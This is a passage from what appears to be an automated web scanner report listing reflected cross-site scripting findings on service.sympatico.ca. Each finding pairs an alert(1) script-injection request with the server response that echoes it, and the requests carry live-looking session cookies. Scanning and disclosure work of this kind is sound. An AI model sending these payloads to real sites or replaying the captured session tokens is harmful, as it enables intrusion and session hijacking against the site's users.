Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:21 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:21 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:21 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:21 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:21 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:21 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:21 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
vice.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons6c766"><script>alert(1)</script>05556fe099c/vi_cart.gif" />
...[SNIP]...

2.132. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_cart.gif [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_cart.gif

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4329f"><script>alert(1)</script>6058bd46d3e was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_cart.gif4329f"><script>alert(1)</script>6058bd46d3e HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:22 GMT
Connection: close
Set-Cookie: SMSESSION=HrnkLUcLlXlG9boO7AJ/MSdZnG/Ee8a4Xh9KFyG7kjW6JOx/Sba8+kaFxT4imA1u6/aJE94DEgHESXyuapWzYJ127ftSF6JsLjEOcWR419H60SOjIlZTwTcIW+WEOYueoOKpKqaJBI03ATEyLHIw+tN2PKgFO3dxaShwsjvq5AmM6msMwgg9uUmoBHDEPbQg2B77GUwh0w3LS2GR1zpdiLUlGrwhCSe2zecNp9Qd48Ee/LiX7PoYljv0LQR4qUriN2qW+CSoN2j4Zvtn1dVGxfQ0Y4gxLOtZou1UKpbNfWC4Kw7G4EETJQ==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:22 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:22 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:22 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:22 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:22 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
co.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_cart.gif4329f"><script>alert(1)</script>6058bd46d3e" />
...[SNIP]...

2.133. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_cart.gif [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_cart.gif

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8fd09"><script>alert(1)</script>9c9d9090582 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_cart.gif?8fd09"><script>alert(1)</script>9c9d9090582=1 HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:04 GMT
Connection: close
Set-Cookie: SMSESSION=YSsj2WZ5Leb1CFn3heOZxwejtLKaO+jKpYqpD9Yu5eQX6iZs5KMBKxkZsycwKsP/EgymalIMfh/8E/WwION/IRcrMmzbujoVzHpbj6nGdQGNCXuiehb/yEtHakfKaAdrYsN3SpMvBSVkP85dqmTzPfT3VgOT5x7ok/MXIuXWoAQUt0O4KZvXi/WXkVRvkWsT7QK9iV+G1zSI++O8SaYlTmOzjrT58B/TMeH1BXcZQjwjhKcUtVi8a1QuzOYsxJIQShM2vB8s/88aAN9I3zZDn+jA4SpvWlDfrEvYZQm79fAIT67IdNV9Ag==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:05 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:05 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:05 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:05 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:05 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:05 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:05 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:05 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:05 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:05 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:05 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:05 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:05 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:05 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
o.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_cart.gif?8fd09"><script>alert(1)</script>9c9d9090582=1" />
...[SNIP]...

2.134. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavBilling.png [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavBilling.png

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b8cc4"><script>alert(1)</script>0acf1ddec80 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3Cb8cc4"><script>alert(1)</script>0acf1ddec80/images/icons/vi_topNavBilling.png HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:16 GMT
Connection: close
Set-Cookie: SMSESSION=yTGuzRA7zJ0Z5hnGT1uwuk1c9aRYHAn9oLSCF9wqrFIFMB2RgOGQpqBPNGZ7EdMNee8L0KyFKpDaOQAG/D3XBZSOev0SgdZBzMVcm7rt2U5y+U8W+zW8B/OjUl3S4zRuy/QBtCwHOhrPPbVNxmo0DA1q4S7E0QhZgcgnO4wAmBzN5i2lWAeHFfHf5P5MEr6fk4QAvzM96gxMW7Fxdhs04CBDDjz9/QqE8EfYzb3I2zzOwfbnf4FOLFvKJFMAs1aosmJBzwtxSpkQKeohICoBasfeH0WGEoLps9QbsBQNXMZ0QsyL5Wi71w==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
